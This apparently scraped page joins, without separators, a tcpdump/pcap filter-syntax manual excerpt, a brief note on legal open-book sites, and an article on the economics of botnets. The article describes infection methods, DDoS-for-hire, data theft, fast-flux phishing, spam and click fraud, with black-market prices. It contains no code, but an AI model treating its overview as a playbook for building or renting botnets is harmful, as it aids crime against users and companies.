The filter expression consists of one or more primitives. Primitives
usually consist of an id (name or number) preceded by one or more qual-
ifiers. There are three different kinds of qualifier:

type qualifiers say what kind of thing the id name or number refers
to. Possible types are host, net , port and portrange. E.g.,
`host foo’, `net 128.3′, `port 20′, `portrange 6000-6008′. If
there is no type qualifier, host is assumed.

dir qualifiers specify a particular transfer direction to and/or
from id. Possible directions are src, dst, src or dst, src and
dst, addr1, addr2, addr3, and addr4. E.g., `src foo’, `dst net
128.3′, `src or dst port ftp-data’. If there is no dir quali-
fier, src or dst is assumed. The addr1, addr2, addr3, and addr4
qualifiers are only valid for IEEE 802.11 Wireless LAN link lay-
ers. For some link layers, such as SLIP and the “cooked”
Linux capture mode used for the “any” device and for some
other device types, the inbound and outbound qualifiers can be
used to specify a desired direction.

proto qualifiers restrict the match to a particular protocol. Possi-
ble protos are: ether, fddi, tr, wlan, ip, ip6, arp, rarp, dec-
net, tcp and udp. E.g., `ether src foo’, `arp net 128.3′, `tcp
port 21′, `udp portrange 7000-7009′, `wlan addr2 0:2:3:4:5:6′.
If there is no proto qualifier, all protocols consistent with
the type are assumed. E.g., `src foo’ means `(ip or arp or
rarp) src foo’ (except the latter is not legal syntax), `net
bar’ means `(ip or arp or rarp) net bar’ and `port 53′ means
`(tcp or udp) port 53′.

[`fddi' is actually an alias for `ether'; the parser treats them iden-
tically as meaning ``the data link level used on the specified network
interface.'' FDDI headers contain Ethernet-like source and destination
addresses, and often contain Ethernet-like packet types, so you can
filter on these FDDI fields just as with the analogous Ethernet fields.
FDDI headers also contain other fields, but you cannot name them
explicitly in a filter expression.

Similarly, `tr' and `wlan' are aliases for `ether'; the previous para-
graph's statements about FDDI headers also apply to Token Ring and
802.11 wireless LAN headers. For 802.11 headers, the destination
address is the DA field and the source address is the SA field; the
BSSID, RA, and TA fields aren't tested.]

In addition to the above, there are some special `primitive’ keywords
that don’t follow the pattern: gateway, broadcast, less, greater and
arithmetic expressions. All of these are described below.

More complex filter expressions are built up by using the words and, or
and not to combine primitives. E.g., `host foo and not port ftp and
not port ftp-data’. To save typing, identical qualifier lists can be
omitted. E.g., `tcp dst port ftp or ftp-data or domain’ is exactly the
same as `tcp dst port ftp or tcp dst port ftp-data or tcp dst port
domain’.

Allowable primitives are:

dst host host
True if the IPv4/v6 destination field of the packet is host,
which may be either an address or a name.

src host host
True if the IPv4/v6 source field of the packet is host.

host host
True if either the IPv4/v6 source or destination of the packet
is host.

Any of the above host expressions can be prepended with the key-
words, ip, arp, rarp, or ip6 as in:
ip host host
which is equivalent to:
ether proto \ip and host host
If host is a name with multiple IP addresses, each address will
be checked for a match.

ether dst ehost
True if the Ethernet destination address is ehost. Ehost may be
either a name from /etc/ethers or a number (see ethers(3N) for
numeric format).

ether src ehost
True if the Ethernet source address is ehost.

ether host ehost
True if either the Ethernet source or destination address is
ehost.

gateway host
True if the packet used host as a gateway. I.e., the Ethernet
source or destination address was host but neither the IP source
nor the IP destination was host. Host must be a name and must
be found both by the machine’s host-name-to-IP-address resolu-
tion mechanisms (host name file, DNS, NIS, etc.) and by the
machine’s host-name-to-Ethernet-address resolution mechanism
(/etc/ethers, etc.). (An equivalent expression is
ether host ehost and not host host
which can be used with either names or numbers for host /
ehost.) This syntax does not work in IPv6-enabled configuration
at this moment.

dst net net
True if the IPv4/v6 destination address of the packet has a net-
work number of net. Net may be either a name from the networks
database (/etc/networks, etc.) or a network number. An IPv4
network number can be written as a dotted quad (e.g.,
192.168.1.0), dotted triple (e.g., 192.168.1), dotted pair (e.g,
172.16), or single number (e.g., 10); the netmask is
255.255.255.255 for a dotted quad (which means that it’s really
a host match), 255.255.255.0 for a dotted triple, 255.255.0.0
for a dotted pair, or 255.0.0.0 for a single number. An IPv6
network number must be written out fully; the netmask is
ff:ff:ff:ff:ff:ff:ff:ff, so IPv6 “network” matches are really
always host matches, and a network match requires a netmask
length.

src net net
True if the IPv4/v6 source address of the packet has a network
number of net.

net net
True if either the IPv4/v6 source or destination address of the
packet has a network number of net.

net net mask netmask
True if the IPv4 address matches net with the specific netmask.
May be qualified with src or dst. Note that this syntax is not
valid for IPv6 net.

net net/len
True if the IPv4/v6 address matches net with a netmask len bits
wide. May be qualified with src or dst.

dst port port
True if the packet is ip/tcp, ip/udp, ip6/tcp or ip6/udp and has
a destination port value of port. The port can be a number or a
name used in /etc/services (see tcp(4P) and udp(4P)). If a name
is used, both the port number and protocol are checked. If a
number or ambiguous name is used, only the port number is
checked (e.g., dst port 513 will print both tcp/login traffic
and udp/who traffic, and port domain will print both tcp/domain
and udp/domain traffic).

src port port
True if the packet has a source port value of port.

port port
True if either the source or destination port of the packet is
port.

dst portrange port1-port2
True if the packet is ip/tcp, ip/udp, ip6/tcp or ip6/udp and has
a destination port value between port1 and port2. port1 and
port2 are interpreted in the same fashion as the port parameter
for port.

src portrange port1-port2
True if the packet has a source port value between port1 and
port2.

portrange port1-port2
True if either the source or destination port of the packet is
between port1 and port2.

Any of the above port or port range expressions can be prepended
with the keywords, tcp or udp, as in:
tcp src port port
which matches only tcp packets whose source port is port.

less length
True if the packet has a length less than or equal to length.
This is equivalent to:
len <= length.

greater length
True if the packet has a length greater than or equal to length.
This is equivalent to:
len >= length.

ip proto protocol
True if the packet is an IPv4 packet (see ip(4P)) of protocol
type protocol. Protocol can be a number or one of the names
icmp, icmp6, igmp, igrp, pim, ah, esp, vrrp, udp, or tcp. Note
that the identifiers tcp, udp, and icmp are also keywords and
must be escaped via backslash (\), which is \\ in the C-shell.
Note that this primitive does not chase the protocol header
chain.

ip6 proto protocol
True if the packet is an IPv6 packet of protocol type protocol.
Note that this primitive does not chase the protocol header
chain.

ip6 protochain protocol
True if the packet is IPv6 packet, and contains protocol header
with type protocol in its protocol header chain. For example,
ip6 protochain 6
matches any IPv6 packet with TCP protocol header in the protocol
header chain. The packet may contain, for example, authentica-
tion header, routing header, or hop-by-hop option header,
between IPv6 header and TCP header. The BPF code emitted by
this primitive is complex and cannot be optimized by the BPF
optimizer code, so this can be somewhat slow.

ip protochain protocol
Equivalent to ip6 protochain protocol, but this is for IPv4.

ether broadcast
True if the packet is an Ethernet broadcast packet. The ether
keyword is optional.

ip broadcast
True if the packet is an IPv4 broadcast packet. It checks for
both the all-zeroes and all-ones broadcast conventions, and
looks up the subnet mask on the interface on which the capture
is being done.

If the subnet mask of the interface on which the capture is
being done is not available, either because the interface on
which capture is being done has no netmask or because the cap-
ture is being done on the Linux “any” interface, which can cap-
ture on more than one interface, this check will not work cor-
rectly.

ether multicast
True if the packet is an Ethernet multicast packet. The ether
keyword is optional. This is shorthand for `ether[0] & 1 != 0‘.

ip multicast
True if the packet is an IPv4 multicast packet.

ip6 multicast
True if the packet is an IPv6 multicast packet.

ether proto protocol
True if the packet is of ether type protocol. Protocol can be a
number or one of the names ip, ip6, arp, rarp, atalk, aarp, dec-
net, sca, lat, mopdl, moprc, iso, stp, ipx, or netbeui. Note
these identifiers are also keywords and must be escaped via
backslash (\).

[In the case of FDDI (e.g., `fddi protocol arp'), Token Ring
(e.g., `tr protocol arp'), and IEEE 802.11 wireless LANS (e.g.,
`wlan protocol arp'), for most of those protocols, the protocol
identification comes from the 802.2 Logical Link Control (LLC)
header, which is usually layered on top of the FDDI, Token Ring,
or 802.11 header.

When filtering for most protocol identifiers on FDDI, Token
Ring, or 802.11, the filter checks only the protocol ID field of
an LLC header in so-called SNAP format with an Organizational
Unit Identifier (OUI) of 0x000000, for encapsulated Ethernet; it
doesn't check whether the packet is in SNAP format with an OUI
of 0x000000. The exceptions are:

iso the filter checks the DSAP (Destination Service Access
Point) and SSAP (Source Service Access Point) fields of
the LLC header;

stp and netbeui
the filter checks the DSAP of the LLC header;

atalk the filter checks for a SNAP-format packet with an OUI of
0x080007 and the AppleTalk etype.

In the case of Ethernet, the filter checks the Ethernet type
field for most of those protocols. The exceptions are:

iso, stp, and netbeui
the filter checks for an 802.3 frame and then checks the
LLC header as it does for FDDI, Token Ring, and 802.11;

atalk the filter checks both for the AppleTalk etype in an Eth-
ernet frame and for a SNAP-format packet as it does for
FDDI, Token Ring, and 802.11;

aarp the filter checks for the AppleTalk ARP etype in either
an Ethernet frame or an 802.2 SNAP frame with an OUI of
0x000000;

ipx the filter checks for the IPX etype in an Ethernet frame,
the IPX DSAP in the LLC header, the 802.3-with-no-LLC-
header encapsulation of IPX, and the IPX etype in a SNAP
frame.

decnet src host
True if the DECNET source address is host, which may be an
address of the form ``10.123'', or a DECNET host name. [DECNET
host name support is only available on ULTRIX systems that are
configured to run DECNET.]

decnet dst host
True if the DECNET destination address is host.

decnet host host
True if either the DECNET source or destination address is host.

ifname interface
True if the packet was logged as coming from the specified
interface (applies only to packets logged by OpenBSD’s or
FreeBSD’s pf(4)).

on interface
Synonymous with the ifname modifier.

rnr num
True if the packet was logged as matching the specified PF rule
number (applies only to packets logged by OpenBSD’s or FreeBSD’s
pf(4)).

rulenum num
Synonymous with the rnr modifier.

reason code
True if the packet was logged with the specified PF reason code.
The known codes are: match, bad-offset, fragment, short, normal-
ize, and memory (applies only to packets logged by OpenBSD’s or
FreeBSD’s pf(4)).

rset name
True if the packet was logged as matching the specified PF rule-
set name of an anchored ruleset (applies only to packets logged
by OpenBSD’s or FreeBSD’s pf(4)).

ruleset name
Synonomous with the rset modifier.

srnr num
True if the packet was logged as matching the specified PF rule
number of an anchored ruleset (applies only to packets logged by
OpenBSD’s or FreeBSD’s pf(4)).

subrulenum num
Synonomous with the srnr modifier.

action act
True if PF took the specified action when the packet was logged.
Known actions are: pass and block and, with later versions of
pf(4)), nat, rdr, binat and scrub (applies only to packets
logged by OpenBSD’s or FreeBSD’s pf(4)).

wlan addr1 ehost
True if the first IEEE 802.11 address is ehost.

wlan addr2 ehost
True if the second IEEE 802.11 address, if present, is ehost.
The second address field is used in all frames except for CTS
(Clear To Send) and ACK (Acknowledgment) control frames.

wlan addr3 ehost
True if the third IEEE 802.11 address, if present, is ehost.
The third address field is used in management and data frames,
but not in control frames.

wlan addr4 ehost
True if the fourth IEEE 802.11 address, if present, is ehost.
The fourth address field is only used for WDS (Wireless Distri-
bution System) frames.

ip, ip6, arp, rarp, atalk, aarp, decnet, iso, stp, ipx, netbeui
Abbreviations for:
ether proto p
where p is one of the above protocols.

lat, moprc, mopdl
Abbreviations for:
ether proto p
where p is one of the above protocols. Note that not all appli-
cations using pcap(3) currently know how to parse these proto-
cols.

type wlan_type
True if the IEEE 802.11 frame type matches the specified
wlan_type. Valid wlan_types are: mgt, ctl and data.

type wlan_type subtype wlan_subtype
True if the IEEE 802.11 frame type matches the specified
wlan_type and frame subtype matches the specified wlan_subtype.

If the specified wlan_type is mgt, then valid wlan_subtypes are:
assoc-req, assoc-resp, reassoc-req, reassoc-resp, probe-req,
probe-resp, beacon, atim, disassoc, auth and deauth.

If the specified wlan_type is ctl, then valid wlan_subtypes are:
ps-poll, rts, cts, ack, cf-end and cf-end-ack.

If the specified wlan_type is data, then valid wlan_subtypes
are: data, data-cf-ack, data-cf-poll, data-cf-ack-poll, null,
cf-ack, cf-poll, cf-ack-poll, qos-data, qos-data-cf-ack, qos-
data-cf-poll, qos-data-cf-ack-poll, qos, qos-cf-poll and qos-cf-
ack-poll.

subtype wlan_subtype
True if the IEEE 802.11 frame subtype matches the specified
wlan_subtype and frame has the type to which the specified
wlan_subtype belongs.

dir dir
True if the IEEE 802.11 frame direction matches the specified
dir. Valid directions are: nods, tods, fromds, dstods, or a
numeric value.

vlan [vlan_id]
True if the packet is an IEEE 802.1Q VLAN packet. If [vlan_id]
is specified, only true if the packet has the specified vlan_id.
Note that the first vlan keyword encountered in expression
changes the decoding offsets for the remainder of expression on
the assumption that the packet is a VLAN packet. The vlan
[vlan_id] expression may be used more than once, to filter on
VLAN hierarchies. Each use of that expression increments the
filter offsets by 4.

For example:
vlan 100 && vlan 200
filters on VLAN 200 encapsulated within VLAN 100, and
vlan && vlan 300 && ip
filters IPv4 protocols encapsulated in VLAN 300 encapsulated
within any higher order VLAN.

mpls [label_num]
True if the packet is an MPLS packet. If [label_num] is speci-
fied, only true is the packet has the specified label_num. Note
that the first mpls keyword encountered in expression changes
the decoding offsets for the remainder of expression on the
assumption that the packet is a MPLS-encapsulated IP packet.
The mpls [label_num] expression may be used more than once, to
filter on MPLS hierarchies. Each use of that expression incre-
ments the filter offsets by 4.

For example:
mpls 100000 && mpls 1024
filters packets with an outer label of 100000 and an inner label
of 1024, and
mpls && mpls 1024 && host 192.9.200.1
filters packets to or from 192.9.200.1 with an inner label of
1024 and any outer label.

pppoed True if the packet is a PPP-over-Ethernet Discovery packet (Eth-
ernet type 0×8863).

pppoes True if the packet is a PPP-over-Ethernet Session packet (Ether-
net type 0×8864). Note that the first pppoes keyword encoun-
tered in expression changes the decoding offsets for the remain-
der of expression on the assumption that the packet is a PPPoE
session packet.

For example:
pppoes && ip
filters IPv4 protocols encapsulated in PPPoE.

tcp, udp, icmp
Abbreviations for:
ip proto p or ip6 proto p
where p is one of the above protocols.

iso proto protocol
True if the packet is an OSI packet of protocol type protocol.
Protocol can be a number or one of the names clnp, esis, or
isis.

clnp, esis, isis
Abbreviations for:
iso proto p
where p is one of the above protocols.

l1, l2, iih, lsp, snp, csnp, psnp
Abbreviations for IS-IS PDU types.

vpi n True if the packet is an ATM packet, for SunATM on Solaris, with
a virtual path identifier of n.

vci n True if the packet is an ATM packet, for SunATM on Solaris, with
a virtual channel identifier of n.

lane True if the packet is an ATM packet, for SunATM on Solaris, and
is an ATM LANE packet. Note that the first lane keyword encoun-
tered in expression changes the tests done in the remainder of
expression on the assumption that the packet is either a LANE
emulated Ethernet packet or a LANE LE Control packet. If lane
isn’t specified, the tests are done under the assumption that
the packet is an LLC-encapsulated packet.

llc True if the packet is an ATM packet, for SunATM on Solaris, and
is an LLC-encapsulated packet.

oamf4s True if the packet is an ATM packet, for SunATM on Solaris, and
is a segment OAM F4 flow cell (VPI=0 & VCI=3).

oamf4e True if the packet is an ATM packet, for SunATM on Solaris, and
is an end-to-end OAM F4 flow cell (VPI=0 & VCI=4).

oamf4 True if the packet is an ATM packet, for SunATM on Solaris, and
is a segment or end-to-end OAM F4 flow cell (VPI=0 & (VCI=3 |
VCI=4)).

oam True if the packet is an ATM packet, for SunATM on Solaris, and
is a segment or end-to-end OAM F4 flow cell (VPI=0 & (VCI=3 |
VCI=4)).

metac True if the packet is an ATM packet, for SunATM on Solaris, and
is on a meta signaling circuit (VPI=0 & VCI=1).

bcc True if the packet is an ATM packet, for SunATM on Solaris, and
is on a broadcast signaling circuit (VPI=0 & VCI=2).

sc True if the packet is an ATM packet, for SunATM on Solaris, and
is on a signaling circuit (VPI=0 & VCI=5).

ilmic True if the packet is an ATM packet, for SunATM on Solaris, and
is on an ILMI circuit (VPI=0 & VCI=16).

connectmsg
True if the packet is an ATM packet, for SunATM on Solaris, and
is on a signaling circuit and is a Q.2931 Setup, Call Proceed-
ing, Connect, Connect Ack, Release, or Release Done message.

metaconnect
True if the packet is an ATM packet, for SunATM on Solaris, and
is on a meta signaling circuit and is a Q.2931 Setup, Call Pro-
ceeding, Connect, Release, or Release Done message.

expr relop expr
True if the relation holds, where relop is one of >, <, >=, <=,
=, !=, and expr is an arithmetic expression composed of integer
constants (expressed in standard C syntax), the normal binary
operators [+, -, *, /, &, |, <<, >>], a length operator, and
special packet data accessors. Note that all comparisons are
unsigned, so that, for example, 0×80000000 and 0xffffffff are >
0. To access data inside the packet, use the following syntax:
proto [ expr : size ]
Proto is one of ether, fddi, tr, wlan, ppp, slip, link, ip, arp,
rarp, tcp, udp, icmp, ip6 or radio, and indicates the protocol
layer for the index operation. (ether, fddi, wlan, tr, ppp,
slip and link all refer to the link layer. radio refers to the
“radio header” added to some 802.11 captures.) Note that tcp,
udp and other upper-layer protocol types only apply to IPv4, not
IPv6 (this will be fixed in the future). The byte offset, rela-
tive to the indicated protocol layer, is given by expr. Size is
optional and indicates the number of bytes in the field of
interest; it can be either one, two, or four, and defaults to
one. The length operator, indicated by the keyword len, gives
the length of the packet.

For example, `ether[0] & 1 != 0‘ catches all multicast traffic.
The expression `ip[0] & 0xf != 5‘ catches all IPv4 packets with
options. The expression `ip[6:2] & 0x1fff = 0‘ catches only
unfragmented IPv4 datagrams and frag zero of fragmented IPv4
datagrams. This check is implicitly applied to the tcp and udp
index operations. For instance, tcp[0] always means the first
byte of the TCP header, and never means the first byte of an
intervening fragment.

Some offsets and field values may be expressed as names rather
than as numeric values. The following protocol header field
offsets are available: icmptype (ICMP type field), icmpcode
(ICMP code field), and tcpflags (TCP flags field).

The following ICMP type field values are available: icmp-echore-
ply, icmp-unreach, icmp-sourcequench, icmp-redirect, icmp-echo,
icmp-routeradvert, icmp-routersolicit, icmp-timxceed, icmp-
paramprob, icmp-tstamp, icmp-tstampreply, icmp-ireq, icmp-ire-
qreply, icmp-maskreq, icmp-maskreply.

The following TCP flags field values are available: tcp-fin,
tcp-syn, tcp-rst, tcp-push, tcp-ack, tcp-urg.

Primitives may be combined using:

A parenthesized group of primitives and operators (parentheses
are special to the Shell and must be escaped).

Negation (`!‘ or `not‘).

Concatenation (`&&‘ or `and‘).

Alternation (`||‘ or `or‘).

Negation has highest precedence. Alternation and concatenation have
equal precedence and associate left to right. Note that explicit and
tokens, not juxtaposition, are now required for concatenation.

If an identifier is given without a keyword, the most recent keyword is
assumed. For example,
not host vs and ace
is short for
not host vs and host ace
which should not be confused with
not ( host vs or ace )

EXAMPLES

       To select all packets arriving at or departing from sundown:
              host sundown 

       To select traffic between helios and either hot or ace:
              host helios and \( hot or ace \) 

       To select all IP packets between ace and any host except helios:
              ip host ace and not helios 

       To select all traffic between local hosts and hosts at Berkeley:
              net ucb-ether 

       To select all ftp traffic through internet gateway snup:
              gateway snup and (port ftp or ftp-data) 

       To select traffic neither sourced from nor destined for local hosts (if
       you gateway to one other net, this stuff should never make it onto your
       local net).
              ip and not net localnet 

       To  select  the start and end packets (the SYN and FIN packets) of each
       TCP conversation that involves a non-local host.
              tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net localnet 

       To select all IPv4 HTTP packets to and from port 80,  i.e.  print  only
       packets  that  contain  data, not, for example, SYN and FIN packets and
       ACK-only packets.  (IPv6 is left as an exercise for the reader.)
              tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0) 

       To select IP packets longer than 576 bytes sent through gateway snup:
              gateway snup and ip[2:2] > 576 

       To select IP broadcast or multicast packets that were not sent via Eth-
       ernet broadcast or multicast:
              ether[0] & 1 = 0 and ip[16] >= 224 

       To  select  all  ICMP packets that are not echo requests/replies (i.e.,
       not ping packets):
              icmp[icmptype] != icmp-echo and icmp[icmptype] != icmp-echoreply 

O’Reilly : oreilly.com/openbook/
Galileocomputing : www.galileocomputing.de/openbook (German)

Are there other legal places to read open books? Nostarch and Apress don’t afaIk.

The Economics of Botnets

In the past ten years, botnets have evolved from small networks of a dozen PCs controlled from a single C&C (command and control center) into sophisticated distributed systems comprising millions of computers with decentralized control. Why are these enormous zombie networks created? The answer can be given in a single word: money.

A botnet, or zombie network, is a network of computers infected with a malicious program that allows cybercriminals to control the infected machines remotely without the users’ knowledge. Zombie networks have become a source of income for entire groups of cybercriminals. The invariably low cost of maintaining a botnet and the ever diminishing degree of knowledge required to manage one are conducive to growth in popularity and, consequently, the number of botnets.

So how does one start? What does a cybercriminal in need of a botnet do? There are many possibilities, depending on the criminal’s skills. Unfortunately, those who decide to set up a botnet from scratch will have no difficulty finding instructions on the Internet.

You can simply create a new zombie network. This involves infecting computers with a special program called a bot. Bots are malicious programs that unite compromised computers into botnets. If someone who wants to start a ‘business’ has no programming skills, there are plenty of ‘bot for sale’ offers on forums. Obfuscation and encryption of these programs’ code can also be ordered in the same way in order to protect them from detection by antivirus tools. Another option is to steal an existing botnet.

The cybercriminal’s next step is to infect user machines with bot malware. This is done by sending spam, posting messages on user forums and social networks, or via drive-by downloads. Alternatively, the bot itself can include self-replication functionality, like viruses and worms.

Various social engineering techniques are used when ordering spam mailings or posting messages on user forums and social networks in order to cause potential victims to install a bot. For example, users can be offered an interesting video to view, which requires downloading a special codec. Of course, the user won’t be able to watch the video after downloading and launching the file. In fact, the user will probably not notice any changes at all, but at the same time the computer will be infected. As a result, the computer will become an obedient servant at the beck and call of the botnet owner without the user being any the wiser.

Another widely used method involves covertly downloading malware via drive-by-downloads. This method is based on taking advantage of various vulnerabilities in applications, primarily popular browsers, to download malware to the computer when the user visits an infected web page. This is done with special programs called exploits, which use vulnerabilities not only to covertly download, but also to run a malicious program without the user’s knowledge. If the attack is successful, the user will not even suspect that there is something wrong with the computer. This method of distributing malicious software is particularly dangerous, since tens of thousands of people get infected when a popular web resource is compromised.

Figure 1: A snare for users (a fake Youtube post)

A bot can be designed to include the feature of self-propagation in computer networks, e.g., by infecting all the executable files it can access or by scanning the network for vulnerable computers and infecting them. The Virus.Win32.Virut and Net-Worm.Win32.Kido families are examples of such bots. The former is a polymorphic file infector, the latter a network worm. It is hard to overestimate the effectiveness of this approach: today, the zombie network created by Kido is the world’s largest.

The botnet owner can control unsuspecting users’ infected computers via the botnet’s command & control center, by connecting to bots via an IRC channel, a web connection or any other available means. It is sufficient to unite a few dozen machines into a network for the botnet to start making money for its owner. The income is directly proportional to the zombie network’s stability and growth rate.

How botnet owners make money

So how do botnet owners make money with infected computers? There are several major sources of income: DDoS attacks, theft of confidential information, spam, phishing, SEO spam, click fraud and distribution of adware and malicious programs. It should be noted that, if chosen, any of these sources can provide a cybercriminal with a good income. But why choose? A botnet can perform all of these activities… at the same time!

Figure 2: The ‘botnet business’

DDoS attacks

Many researchers believe that even the earliest botnets provided DDoS functionality. A DDoS attack is an attack on a computer system which aims to force the system into denial of service, when it can no longer receive and process requests from legitimate users. One of the most common attack methods involves sending numerous requests to the victim computer, leading to denial of service if the computer under attack has insufficient resources to process all incoming requests. DDoS attacks are a potent weapon for hackers and botnets are an ideal tool for carrying out such attacks. DDoS attacks can be used as a tool for unfair competition or be manifestations of cyberterrorism.

A botnet owner can render services to any unscrupulous entrepreneur by organizing a DDoS attack on his competitor’s website. The competitor’s website will be down due to the stress caused by the attack and the cybercriminal will receive a modest (or not-so-modest) reward. Botnet owners themselves can use DDoS attacks in the same way to extort money from large companies. Companies often choose to give in to cybercriminals’ demands because dealing with the consequences of successful DDoS attacks is even more expensive. In January 2009, an attack on godaddy.com, a major web hosting provider, resulted in several thousand websites hosted on the company’s web servers being inaccessible for almost 24 hours. What was it, an illegal move by another popular hosting provider in the combat for a place in the sun, or was Go Daddy blackmailed by cybercriminals? We think that both scenarios are quite likely. Incidentally, the same hosting provider experienced a similar attack in November 2005, but then the service was unavailable for only an hour. The new attack was much more powerful, primarily due to the growth of botnets.

In February 2007, a series of attacks was conducted targeting the root name servers, on which the entire Internet depends for normal operation. It is unlikely that the purpose of the attacks was to crash the Internet, since zombie networks cannot function without the Internet. It is more likely that this was a demonstration of the power and capabilities of zombie networks.

Adverts for organizing DDoS attacks are openly displayed on many user forums devoted to the relevant topics. As for the price tag, it can range from $50 to several thousand dollars for 24-hour continuous operation of a botnet carrying out a DDoS attack. The price range makes sense. The task of stopping the sales of a modest unprotected online store for one day can be tackled by a relatively small botnet (about a thousand computers), and will cost the criminal a relatively small amount of money. But if the competitor is a large international company with a well-protected website, the price will be much higher, since a successful DDoS attack will require a much larger number of zombie computers, so the customer will have to pay up.

According to shadowserver.org, about 190 000 DDoS attacks were carried out in 2008, “earning” cybercriminals about $20 million. Naturally, this estimate does not include revenues from blackmail, which are impossible to assess.

Theft of confidential information

Confidential information stored on users’ computers will always attract cybercriminals. The most valuable data includes credit card numbers, financial information and passwords to various services, such as email, ftp, IM systems etc. Today’s malicious programs allow criminals to choose the data they want by installing the relevant module on the infected computer.

Cybercriminals can either sell the information stolen or use it in their own interests. Hundreds of new bank-accounts-for-sale advertisements appear on underground forums every day. The price of an account can range from $1 to $1500. The low minimum price demonstrates that the cybercriminals involved in this business have to reduce their prices due to competition. To make a really significant amount of money, they need a steady inflow of fresh data, which is provided primarily by a stable growth of zombie networks.

Financial information is of special interest to carders, i.e., people who forge bank cards. The profitability of their operations is well illustrated by the story of a group of Brazilian cybercriminals who were arrested two years ago. They were able to withdraw $4.74 million from bank accounts using information stolen from computers.

Personal data not directly related to users’ finances are of interest to cybercriminals who forge documents, open fake bank accounts, conduct illegal transactions etc.

The cost of stolen personal data is directly dependent on the country of its legal owner’s residence. For example, a complete set of data on a US resident costs $5 to 8. EU resident data is particularly valued on the black market and is two or three times more expensive than data for US and Canadian residents. This is because cybercriminals can use this data in any EU country. Worldwide, the average cost of a full package of data on one person is about $7.

Another type of information collected by botnets is email addresses. Unlike credit card numbers and accounts, numerous email addresses can be harvested from one infected computer. The addresses harvested are then put up for sale, sometimes ‘in bulk’, by megabyte. Spammers are naturally the main buyers. One list of a million email addresses costs $20 to 100, while spammers charge $150 to 200 for a mailing to these same million addresses, making a clear profit.

Criminals are also interested in user accounts for various paid services and online stores. These are certainly cheaper than bank accounts, but their sale involves lower risk of prosecution by law-enforcement agencies. For example, accounts for Steam, a popular online store, with access to ten games are sold for $7 to 15 per account.

Figure 3: Forum post offering Steam accounts for sale

Phishing

New phishing sites are now mass-produced, but they need protection from closure. Zombie networks obligingly provide an implementation of fast flux technology, which allows cybercriminals to change website IP addresses every few minutes without affecting the domain name. This extends the lifetime of phishing sites, making it hard to detect them and take them offline. The idea involves using people’s home computers that are part of a botnet as web servers with phishing content. Fast flux is better than proxy servers at hiding fake websites on the Web.

Thus, Rock Phish, a well-known phishing ring, works in cooperation with Asprox, a botnet operator. In the middle of last year the ‘Rock Phishers’, who are responsible for half the online phishing attacks and millions of dollars lost by online banking users, upgraded their infrastructure for fast-flux compatibility. This took about five months and everything was done at a highly professional level. Instead of creating their own fast flux network, the phishers acquired a ready-made solution from the owners of the Asprox botnet.

Cybercriminals, mostly phishers, pay botnet owners $1000 to 2000 per month for hosting fast flux services.

The average income from phishing is comparable to that from the theft of confidential data using malicious programs and adds up to millions of dollars per year.

Spam

Millions of spam messages are sent globally every day. Sending unsolicited mail is a major function of today’s botnets. According to Kaspersky Lab data, about 80% of all spam is sent via zombie networks.

Billions of messages with adverts for Viagra, watch replicas, online casinos etc. are sent from computers of law-abiding users. These messages clutter up communication channels and mailboxes. In this way, hackers expose innocent users’ computers: the sender addresses to which mass mailings are traced are blacklisted by antivirus companies.

In recent years, the scope of spam services has broadened to include ICQ spam, spam in social networks, user forums and weblogs. This is also an ‘achievement’ of botnet owners: it doesn’t take a lot of effort to add a new module to a bot client in order to open up new horizons for a new business with slogans such as “Spam in Facebook. Cheap”.

Spam prices vary depending on the target audience and the number of target addresses. The price of a targeted mailing can range from $70 for a few thousand addresses to $1000 for tens of millions.

In the past year, spammers made about $780,000,000 sending messages. An impressive result for adverts that nobody wants, isn’t it?

Search engine spam

Another application for botnets is search engine optimization (SEO). Webmasters use SEO in order to improve their websites’ positions in search results, since the higher they get the more visitors will reach the site via search engines.

Search engines use a number of criteria to assess the relevance of a website. One of the main parameters is the number of links to the site located on other pages or domains. The more such links are found, the higher the search robot rates the site. The words used in the link also affect the rating. For example, the link “buy our computers” will have a greater weight for such queries as “buy a computer”.

SEO is a flourishing business in itself. Many companies pay lots of money to web masters to bring their websites to top positions in search results. Botnet operators have borrowed some of their techniques and automated the search engine optimization process.

So if you see lots of links created by an unknown user or even your friend in comments on your favorite live journal entry, don’t be surprised. It only means that somebody has hired the owners of a botnet to promote a web resource. A specially designed program is installed on a zombie computer and leaves comments containing links to the site being promoted on popular resources.

The average price of illegal SEO spam is about $300 per month.

Adware and malware installation

Imagine that you are reading your favorite online automobile magazine and suddenly a popup window appears, offering genuine auto accessories for sale. It would seem that there is nothing wrong with that, but you are confident that you didn’t install any software to look for useful (or useless) things. It’s simple: botnet owners have ‘taken care’ of you.

Many companies that offer online advertising services pay for each installation of their software. As a rule, this is not a lot of money – from 30 cents to $1.50 for each program installed. However, when a cybercriminal has a botnet at his disposal, he can install any software on thousands of computers with a few mouse clicks and earn serious money. J. K. Shiefer, a well-known cybercriminal who was convicted in 2007, ‘earned’ over $14,000 in one month using a botnet of over 250,000 machines to install adware on 10,000 computers.

Cybercriminals who distribute malicious programs often use the same approach, paying for each installation of their software. This type of cooperation between cybercriminals is called an “affiliate network”. Rates for the installation of software on computers in different countries differ significantly. For example, the average price of installing a malicious program on a thousand computers in China is $3 and in the US $120. This makes sense, since computers of users in developed countries can provide cybercriminals with much more valuable information that can be used to make a lot more money.

Click fraud

Online advertising agencies that use the PPC (Pay-Per-Click) scheme pay for unique clicks on advertisements. Botnet owners can make significant amounts of money by cheating on such companies.

An example is the well-known Google AdSense network. Advertisers pay Google for clicks on their ads in the hope that users who visit their sites in this way will buy something from them.

Google, in its turn, places context-based advertising on the various websites participating in the AdSense program, paying a percentage from each click to website owners. Unfortunately, not all website owners are honest. With a zombie network, a hacker can generate thousands of unique clicks a day – one from each machine to avoid raising Google’s suspicion. Thus the money spent on an advertising campaign makes its way into the hacker’s pockets. Sadly, nobody has been convicted of this kind of fraud so far.

According to Click Forensics, about 16-17% of all advertising link clicks in 2008 were fake, of which a third was generated by botnets. A simple calculation will show that botnet owners made $33 million ‘for clicks’. Not bad for simple mouse clicks!

Leasing and selling botnets

Now to the busy botnet owners: for them, Marx’s world-famous formula, “goods – money – goods” translates into “botnet – money – botnet”. Keeping a botnet afloat, ensuring a steady inflow of new zombies, protecting bots from being detected by antivirus products and keeping the C&C from being located requires both financial and time investment from the hacker, so he simply has no time left for sending spam, installing software or stealing and selling information. It is much easier to lease the botnet out or sell it, especially since there is no shortage of those who wish to acquire it.

